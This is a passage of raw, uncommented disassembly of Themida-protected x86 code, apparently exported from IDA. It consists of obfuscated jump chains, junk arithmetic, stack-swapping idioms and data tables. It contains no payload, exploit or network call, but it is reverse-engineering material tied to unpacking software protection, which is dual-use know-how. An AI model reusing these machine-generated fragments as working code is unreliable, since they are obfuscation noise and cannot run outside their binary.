--------------------------------------------------------------------------- loc_55B161: ; CODE XREF: Themida_:005594C4j add ebx, 741DBEF4h jmp loc_554699 ; --------------------------------------------------------------------------- loc_55B16C: ; CODE XREF: Themida_:0055AA5Fj mov esi, esp push ecx jmp loc_55862F ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55B17C: ; CODE XREF: Themida_:00555C26j add bl, ch pop ecx add bl, al sub bl, 45h push eax push ecx mov cl, 0D1h neg cl not cl jmp loc_551DB2 ; --------------------------------------------------------------------------- loc_55B191: ; CODE XREF: Themida_:00550405j add ebx, 4 xchg ebx, [esp] jmp loc_555560 ; --------------------------------------------------------------------------- loc_55B19F: ; CODE XREF: Themida_:00554F1Dj push ebx mov ebx, 4 add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- mov edx, [esp] jmp loc_551282 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push 6905h jmp loc_556756 ; --------------------------------------------------------------------------- loc_55B1D0: ; CODE XREF: Themida_:00558DEEj push ecx mov ecx, 23152097h mov eax, 23152093h jmp loc_5510AD ; --------------------------------------------------------------------------- loc_55B1E0: ; CODE XREF: Themida_:00551B91j xor al, bl jmp loc_550A0F ; --------------------------------------------------------------------------- loc_55B1E7: ; CODE XREF: Themida_:00553A58j push esp pop edx add edx, 4 add edx, 2 xchg edx, [esp] mov esp, [esp] imul cl movzx cx, ah push small 4122h mov [esp], cx movzx cx, al push cx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55B212: ; CODE XREF: Themida_:00559CE0j xor [esp], esi xor esi, [esp] pop esp jmp loc_553F28 ; --------------------------------------------------------------------------- loc_55B21E: ; CODE XREF: Themida_:005568BDj push esi mov esi, esp push ebp mov ebp, 4 add esi, ebp jmp loc_559BE7 ; --------------------------------------------------------------------------- dd offset dword_5494AC+0Bh dw 4CF6h dd 23h, 3F30000h, 3047B08h, 6A167FFEh, 40E8FA42h, 207005Bh dd 20000h, 2 dup(10000h), 6A160000h, 0FA42h, 4 dup(0) dd 0F40E0000h, 1910055h, 3D80057h, 0EA540057h, 0BC380056h dd 0BAF20056h, 6B00056h, 80AD0057h, 0C6300056h, 0D4970055h dd 7BF30056h, 8D220056h, 0E5320056h, 2E7B0056h, 51FF0056h dd 0F7DD0056h, 0D9960056h, 972D0056h, 0B6380056h, 10E60056h dd 0FE950056h, 0D5A0056h, 65110056h, 0DC2E0056h, 0D2440055h dd 71E60055h, 6F8B0056h, 0F40E0056h, 0BB0C0056h, 2EF70055h dd 3F770056h, 0B8EC0056h, 83AD0056h, 61670056h, 0BED80056h dd 33B0055h, 1F830057h, 8E730056h, 7B5E0056h, 0AE5A0056h dd 859E0056h, 2F7A0056h, 3B740056h, 0ECF50056h, 0C1CE0056h dd 0B8900055h, 3C560055h, 0EC3C0056h, 43990055h, 0E8FB0056h dd 5FFC0056h, 7ECA0056h, 69470056h, 0DB0056h, 2B7E0057h dd 35540056h, 0D0D20056h, 0B6520056h, 78B80055h, 0FBBC0056h dd 54640055h, 7D670056h, 72000056h, 9D50056h, 73ED0056h dd 8B080056h, 8CCA0056h, 0BF3D0056h, 0CAA40055h, 0CB50055h dd 9C1A0056h, 0EFEA0056h, 705E0055h, 0C5980056h, 0F4E80056h dd 0A2FF0055h, 0C4410056h, 45D80055h, 0FB4D0056h, 0BEA60056h dd 41C80055h, 99F20056h, 0F3AC0056h, 145C0056h, 0ECBE0056h dd 6B5D0056h, 16620056h, 3B820056h, 0EE410056h, 0E7A80055h dd 1BD00056h, 0B42B0056h, 9F510056h, 225D0056h, 8E260056h dd 0AB800056h, 0F44F0056h, 4E610056h, 0D8B70056h, 0FEB00056h dd 0FF170055h, 54AB0055h, 9DE00056h, 0A2E10056h, 0BA0C0056h dd 430C0055h, 0B2330056h, 5DF00056h, 5B770056h, 0E4A50056h dd 0F780056h, 547D0056h, 0C50D0056h, 0E9DD0055h, 0F0890056h dd 22CF0056h, 0F8510056h, 7B7E0055h, 0BB170056h, 58D40055h dd 5AD80056h, 0E52B0056h, 629A0055h, 97840056h, 0D4570056h dd 0EF690055h, 12370056h, 915D0056h, 25740056h, 0E7940056h dd 0E2BE0055h, 0C5F70055h, 4A6F0055h, 0EE1F0056h, 5190056h dd 47A60056h, 3FF0056h, 0F42F0057h, 0EFD40056h, 3D290056h dd 331A0056h, 0DB910056h, 0F7230055h, 0E9F70056h, 0EF310055h dd 82430055h, 2EBB0056h, 27780056h, 7060056h, 5E8C0057h dd 4E040056h, 0F0FF0056h, 34C60056h, 99A20056h, 4FC0056h dd 0EBE00057h, 0DF3B0056h, 1F2B0056h, 0EA4D0056h, 8BEA0055h dd 61560056h, 4BC10056h, 0B6760056h, 9AB60056h, 12480056h dd 4E0A0056h, 0F7730056h db 55h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_55B50E: ; CODE XREF: Themida_:005A464Aj ; Themida_:005A9D48j ... pusha pushf cld call $+5 pop edi sub edi, 6134B00h mov eax, edi add edi, 6134818h cmp eax, [edi+2Ch] jnz short loc_55B52C jmp short loc_55B53F ; --------------------------------------------------------------------------- loc_55B52C: ; CODE XREF: sub_5B3505-57FDDj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55B53B ; --------------------------------------------------------------------------- loc_55B536: ; CODE XREF: sub_5B3505-57FC8j add [edi+ecx*4+40h], eax dec ecx loc_55B53B: ; CODE XREF: sub_5B3505-57FD1j or ecx, ecx jnz short loc_55B536 loc_55B53F: ; CODE XREF: sub_5B3505-57FDBj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55B54C: ; CODE XREF: sub_5B3505-57FB2j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55B54C loc_55B555: ; CODE XREF: sub_56755A-BEC6j ; Themida_:0055BAF2j ... lodsb push edx mov dl, 0C0h neg dl and dl, 2Dh sub dl, 1 shr dl, 2 sub esp, 4 jmp loc_56376A ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B56F: ; CODE XREF: sub_56755A+670j push ecx mov ecx, 5CA34B0Eh push ebx mov ebx, 12FE2605h xor ecx, ebx pop ebx add ecx, 1AB45AADh xor ecx, 36A39015h jmp loc_55E601 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B58F: ; CODE XREF: Themida_:0056B33Aj sub ebp, 45830FA2h mov ebx, [esp] add esp, 4 add edi, ebp jmp loc_56E4CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B5A5: ; CODE XREF: sub_56755A-5739j push esi mov esi, 4 mov eax, esi pop esi sub esi, 8C268EAh add esi, 3A971A99h add esi, 6ADF6923h add esi, eax sub esi, 6ADF6923h sub esi, 3A971A99h push ebp mov ebp, 6403382Fh add ebp, 0A4BF30BBh add esi, ebp pop ebp push [esp+4+var_4] pop eax jmp loc_56C3E9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B5E6: ; CODE XREF: Themida_:0055B76Bj dec ecx jmp loc_568FBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_55B5EC: ; CODE XREF: sub_56D83A+Cj xchg ebp, [esp+0] pop esp jmp loc_568508 ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B5F5: ; CODE XREF: sub_56755A-BC22j sub bh, 5Ch jmp loc_55C081 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_55B5FD: ; CODE XREF: sub_56C86A-10B46j add [esp+4+var_4], 4 push [esp+4+var_4] pop ebp add esp, 4 jmp loc_56EC21 ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- loc_55B610: ; CODE XREF: Themida_:0056D08Aj xor esi, 1C652777h push ecx mov ecx, 1EE7DB01h add esi, ecx jmp loc_55DB1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B623: ; CODE XREF: sub_56755A-A66j add esi, edi sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 4493565Bh jmp loc_561CE4 ; --------------------------------------------------------------------------- loc_55B635: ; CODE XREF: sub_56755A+19B0j add bl, 6Bh add bl, al sub bl, 6Bh push eax jmp sub_5636A9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B643: ; CODE XREF: Themida_:0056F3DFj pop edi add esp, 4 shl ebx, 7 jmp loc_55DCEF ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ecx jmp loc_56D2AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B664: ; CODE XREF: sub_56755A-4728j sub eax, 4 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push esp pop [esp+10h+var_10] push esi mov esi, 4 add [esp+10h+var_C], esi pop esi pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp+8+var_8] xor [esp+8+var_8], ebp xor ebp, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B699: ; CODE XREF: Themida_:00563D4Bj mov [esp], edx sub esp, 4 jmp loc_56E040 ; --------------------------------------------------------------------------- loc_55B6A7: ; CODE XREF: Themida_:0056D6C1j sub eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push 0DE4h mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_564D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B6E8: ; CODE XREF: sub_56755A-D7Bj pop eax add ebx, 65F42624h jmp loc_56680A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B6F4: ; CODE XREF: Themida_:0056B413j add esi, 77E57E8Eh sub esi, 0A92A8E8Dh mov ebp, esi pop esi add eax, ebp pop ebp neg eax shr eax, 2 xor eax, 15CE07ABh add edi, eax pop eax jmp loc_568F67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B718: ; CODE XREF: sub_56755A-F81j pop esp push 7724h mov [esp+4+var_4], ecx push 416Dh jmp loc_55C711 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_55B72B: ; CODE XREF: sub_56D5AE-11676j sub eax, 1B6C57FDh jmp loc_562EA8 ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B735: ; CODE XREF: sub_56755A-4255j xor al, 1 jmp loc_56F1D8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B73C: ; CODE XREF: Themida_:0055F485j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_55C674 ; --------------------------------------------------------------------------- loc_55B74F: ; CODE XREF: Themida_:0056BB87j push 295Eh jmp loc_55DAC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B759: ; CODE XREF: sub_56755A-5A4j neg eax xor eax, 155A65A2h add eax, 28EE2F91h jmp loc_56042B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B76A: ; CODE XREF: Themida_:0055EFD4j inc ecx jmp loc_55B5E6 ; --------------------------------------------------------------------------- loc_55B770: ; CODE XREF: Themida_:00566FA7j pop esp add ch, 0D4h jmp loc_56D3CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_55B779: ; CODE XREF: sub_56971C+360Aj push 520C2373h mov ecx, [esp+18h+var_18] add esp, 4 jmp loc_56C7FF ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_55B78C: ; CODE XREF: Themida_:00566916j add esp, 4 add esi, 7143013Dh add esi, 3CE51EF4h shr esi, 4 xchg ecx, esi not ecx jmp loc_56CBBA ; --------------------------------------------------------------------------- loc_55B7A7: ; CODE XREF: Themida_:00560D60j add esp, 4 push 1CABh mov [esp], edx push esp pop edx push 4E18h mov [esp], ebx mov ebx, 2E805779h push esi mov esi, 1B907577h not esi sub esp, 4 jmp loc_568DFF ; --------------------------------------------------------------------------- loc_55B7D4: ; CODE XREF: Themida_:0056E956j not esi xchg eax, esi inc eax push 1462h mov [esp], eax inc dword ptr [esp] jmp loc_565BD4 ; --------------------------------------------------------------------------- loc_55B7E8: ; CODE XREF: Themida_:00568B7Fj shr eax, 8 shr eax, 5 jmp loc_5632D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B7F3: ; CODE XREF: sub_56755A-6B08j xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_56EC6B ; --------------------------------------------------------------------------- loc_55B7FE: ; CODE XREF: sub_56755A-432Dj pop ebx sub esi, ebp jmp loc_56F6C2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_55B806: ; CODE XREF: sub_55CD7B+1Bj mov [esp+0], ecx push edx push 783C28AEh pop edx sub edx, 35035506h add edx, 702F077Ch sub edx, 2BA70095h add edx, 0A91C72A2h mov ecx, edx pop edx push ecx push ebx pop ecx pop ebx xchg edi, ebx not edi xchg edi, ebx xor ecx, ebx jmp loc_563E47 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_55B83C: ; CODE XREF: sub_55C719+8E2Dj dec ebp xor ebp, 52922782h add esi, ebp pop ebp add esi, 4 push esi push [esp+14h+var_10] pop esi pop [esp+14h+var_14] pop esp jmp loc_55FC88 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B858: ; CODE XREF: sub_56755A-6F9Cj push edx jmp loc_569B17 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_55B85E: ; CODE XREF: sub_56EAA9-13179j push [esp+arg_0] push [esp+4+var_4] pop eax add esp, 4 pop dword ptr [esp+0] mov esp, [esp-4+arg_0] jmp loc_568CF0 ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_55B874: ; CODE XREF: sub_56542E+99Dj pop ecx sub esp, 4 mov [esp+4+var_4], edi mov edi, 4 add ecx, edi mov edi, [esp+4+var_4] add esp, 4 jmp sub_55E257 ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebp jmp loc_560BC9 ; --------------------------------------------------------------------------- loc_55B89B: ; CODE XREF: Themida_:005684A6j sub esp, 4 mov [esp], ecx push ebx mov ebx, 27840F80h neg ebx jmp loc_56E076 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B8B1: ; CODE XREF: sub_56755A-5842j add [esp+8+var_8], 4 push [esp+8+var_8] pop eax add esp, 4 sub esp, 4 mov [esp+8+var_8], esi jmp loc_566097 ; --------------------------------------------------------------------------- loc_55B8CA: ; CODE XREF: sub_56755A-A639j not edi jmp loc_569B4D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_55B8D1: ; CODE XREF: sub_566504-7DEBj pop esi add edx, 348C1F6Ch mov edi, [esp-4+arg_0] jmp loc_561DB0 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_55B8E0: ; CODE XREF: Themida_:00563037j sub ebp, 63D3738Bh jmp loc_56A0C7 ; --------------------------------------------------------------------------- loc_55B8EB: ; CODE XREF: Themida_:0055F0D5j pop ebx add esp, 4 xor ebx, 738B60F7h neg ebx push ecx jmp loc_56E30F ; --------------------------------------------------------------------------- loc_55B900: ; CODE XREF: Themida_:0056DFEFj push dword ptr [esp] pop esi push esi mov esi, esp jmp loc_562161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B90C: ; CODE XREF: sub_56755A+810Dj mov ebp, esp add ebp, 4 jmp loc_5701D8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B919: ; CODE XREF: Themida_:0056AD61j mov ebp, ebx mov ecx, ebp mov ebp, [esp] jmp loc_56AF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EAA9 loc_55B925: ; CODE XREF: sub_56EAA9-759Aj add eax, 4 add eax, 4 push eax jmp loc_55B85E ; END OF FUNCTION CHUNK FOR sub_56EAA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B935: ; CODE XREF: sub_56755A+8D41j xor bh, dl pop edx jmp loc_55B5F5 ; --------------------------------------------------------------------------- loc_55B93D: ; CODE XREF: sub_56755A-93BEj xor edx, [esp+4+var_4] mov esp, [esp+4+var_4] sub ebx, 34900D00h add ebx, eax push edi push esp pop edi add edi, 4 sub edi, 4 xor edi, [esp+8+var_8] xor [esp+8+var_8], edi jmp loc_569ACF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B965: ; CODE XREF: Themida_:0055F82Aj add ebp, eax push eax mov eax, 1E68350Ch jmp loc_56FE53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B972: ; CODE XREF: sub_56755A-2131j mov [esp+8+var_8], esi push 4 pop esi jmp loc_569D5A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55B980: ; CODE XREF: sub_56E89A-1076Fj pop ebx add ebx, 47E44EF1h jmp loc_55F3FE ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_55B98C: ; CODE XREF: sub_5600E2+72BFj push eax push 1C6Ch mov [esp+8+var_8], edi mov edi, 35B4F90h jmp loc_55F6F4 ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B99F: ; CODE XREF: sub_56755A-8AC0j xchg ecx, [esp+8+var_8] jmp loc_55ECD4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F861 loc_55B9A7: ; CODE XREF: sub_55F861+3BE3j add ebx, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] jmp loc_56F26C ; END OF FUNCTION CHUNK FOR sub_55F861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55B9BB: ; CODE XREF: sub_56755A+3E10j add esp, 4 mov edx, [esp+4+var_4] push esi jmp loc_570411 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55B9CA: ; CODE XREF: Themida_:0055E21Cj mov edx, 1A5B55B6h sub esp, 4 mov [esp], ecx mov ecx, 4BE4175Dh xor edx, ecx mov ecx, [esp] add esp, 4 shr edx, 2 jmp loc_56484B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55B9ED: ; CODE XREF: sub_56F653-1009Bj xchg ebp, [esp+0] pop esp add esp, 4 jmp loc_56F4B7 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E65 loc_55B9F9: ; CODE XREF: sub_569E65-5DD4j mov ecx, 9CA5AF7h jmp loc_5614DD ; END OF FUNCTION CHUNK FOR sub_569E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BA03: ; CODE XREF: sub_56755A-1C02j add al, 0FFh sub al, 85h jmp loc_55C176 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov ax, fs:[edx] sub esp, 4 jmp loc_55D17E ; =============== S U B R O U T I N E ======================================= sub_55BA18 proc near ; CODE XREF: sub_56E55E-B03Ej var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C2A6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00561818 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056622A SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00568FA8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005699C8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A912 SIZE 00000007 BYTES push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] pop esp or eax, eax jz loc_5647C1 push dword ptr [edi+1Ch] push 5506h jmp loc_561818 sub_55BA18 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_55BA37: ; CODE XREF: sub_55E99C-195Aj mov ecx, [esp+0] push ecx mov ecx, esp jmp loc_56DD66 ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BA42: ; CODE XREF: sub_56755A+A52j push ecx mov ecx, 5C971776h jmp loc_562EEA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BA4D: ; CODE XREF: Themida_:0056B606j mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_566590 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BA6C: ; CODE XREF: sub_56755A-670j xchg edi, edx inc edi xchg edi, edx xchg ebx, edx not ebx xchg ebx, edx sub edx, 0F7FF481Ah push eax mov eax, 7A895864h add ecx, eax jmp loc_562082 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BA8A: ; CODE XREF: Themida_:0056A4EBj push ebp mov ebp, 2 add ebx, ebp jmp loc_55C9CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BA97: ; CODE XREF: sub_56755A+24Aj not [esp+10h+var_10] mov ebp, [esp+10h+var_10] add esp, 4 shl ebp, 3 sub esp, 4 jmp loc_56567B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BAAE: ; CODE XREF: Themida_:00569717j add ebp, 1 push ebx push ecx jmp loc_55F67F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C64C loc_55BAB8: ; CODE XREF: sub_56C64C+A5Ej dec dh sub dh, 30h xor ch, dh pop edx jmp sub_56F653 ; END OF FUNCTION CHUNK FOR sub_56C64C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BAC5: ; CODE XREF: sub_56755A-A9BEj xor di, 66BFh shl di, 6 xor di, 0E259h add si, di pop edi jmp loc_569FE5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BADC: ; CODE XREF: Themida_:0055CF7Dj pop edx add eax, 70423EEFh jmp loc_562831 ; --------------------------------------------------------------------------- loc_55BAE7: ; CODE XREF: Themida_:005692EDj movzx ecx, al push 4537h mov [esp], ecx jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BAF7: ; CODE XREF: sub_56755A+93Ej jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_55BAFC: ; CODE XREF: sub_55E54A-1352j mov ch, 66h sub bl, ch mov cx, word ptr [esp+2+var_4+2] sub esp, 4 jmp loc_56BDB1 ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_560D4F ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax jmp loc_56A1EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BB26: ; CODE XREF: sub_56755A+70Dj sub edx, 4961A1h push 20C6h mov [esp+10h+var_10], edx jmp loc_56E9B8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55BB39: ; CODE XREF: sub_56F653-C346j add esp, 4 add bl, 0ACh add bl, al sub bl, 0ACh push ecx push edx jmp loc_5689E7 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_55BB4E: ; CODE XREF: Themida_:00565AC9j pop dword ptr [esp] add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], edx mov edx, 4 add ebp, edx push dword ptr [esp] jmp loc_56174E ; --------------------------------------------------------------------------- db 89h ; --------------------------------------------------------------------------- and al, 24h jmp loc_56BBF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BB73: ; CODE XREF: sub_56755A+144Dj pop ebx add esp, 4 add al, 44h sub al, ch sub al, 44h add al, 5Ah pop cx push edx mov dh, 80h add dh, 49h sub dh, 0ACh jmp loc_56B36F ; --------------------------------------------------------------------------- loc_55BB92: ; CODE XREF: sub_56755A-94D1j mov bh, 0A8h sub bh, 25h or dh, bh pop ebx push 5BFBh mov [esp+0Ah+var_C+2], eax mov ah, 0F9h xor dh, ah pop eax push 4D47h mov [esp+0Ah+var_C+2], ecx mov ch, 92h sub dh, ch mov ecx, [esp+0Ah+var_C+2] jmp loc_56EEC0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BBBB: ; CODE XREF: Themida_:0056DC80j mov edx, 4 add [esp+4], edx pop edx pop edx push 2CE6h mov [esp], ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_5657BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F62 loc_55BBDB: ; CODE XREF: sub_562F62+9B0Aj pop edi push edx push [esp+arg_0] mov edx, [esp+4+var_4] add esp, 4 jmp loc_56CECF ; END OF FUNCTION CHUNK FOR sub_562F62 ; --------------------------------------------------------------------------- loc_55BBEF: ; CODE XREF: Themida_:005672BCj shl ecx, 2 jmp loc_560CEA ; --------------------------------------------------------------------------- loc_55BBF7: ; CODE XREF: Themida_:0055E5FCj pop edx jmp loc_566A59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_55BBFD: ; CODE XREF: sub_55DA88-1858j push esp jmp loc_55F1D5 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_55BC03: ; CODE XREF: sub_5B3505-4FD94j push ax neg byte ptr [esp+2Eh+var_2E] jmp loc_560F2A ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- loc_55BC0D: ; CODE XREF: Themida_:00566A67j sub esp, 2 mov [esp], bx mov bl, 58h xor cl, bl pop bx and al, cl push dword ptr [esp] jmp loc_5664C1 ; --------------------------------------------------------------------------- loc_55BC24: ; CODE XREF: Themida_:00563E0Aj sub eax, 648E6989h sub eax, ebx add eax, 648E6989h push ebx mov ebx, 13D85D41h xor ebx, 4D2F5660h add eax, ebx jmp loc_568749 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55BC43: ; CODE XREF: sub_56755A-9D7Fj push esp mov edx, [esp+0Eh+var_10+2] push ebp mov ebp, esp push 0DC2h jmp loc_570184 ; --------------------------------------------------------------------------- loc_55BC54: ; CODE XREF: sub_56755A-9E90j add ebx, 392E7C5Ch and ecx, ebx mov ebx, [esp+16h+var_18+2] push esi mov esi, esp jmp loc_565AFA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55BC67: ; CODE XREF: Themida_:005692E5j xor [esp], ebp xor ebp, [esp] jmp loc_565E14 ; --------------------------------------------------------------------------- loc_55BC72: ; CODE XREF: Themida_:00565D8Cj inc edx add edx, 1C44D4F2h add eax, 434C5D90h sub eax, edx sub eax, 434C5D90h pop edx mov edi, [esp] add esp, 4 push 7EBFh mov [esp], ecx push 590Fh mov [esp], ebx jmp loc_56B936 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55BCA1: ; CODE XREF: sub_568D4B+29CFj xchg eax, [esp+4+var_4] pop esp jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_55BCAA: ; CODE XREF: sub_565996-55D8j sub esi, 1 jmp loc_56DA35 ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- loc_55BCB2: ; CODE XREF: Themida_:0056EFCFj mov ebp, [esp] add esp, 4 push 632Ch mov [esp], ebp jmp loc_5675F7 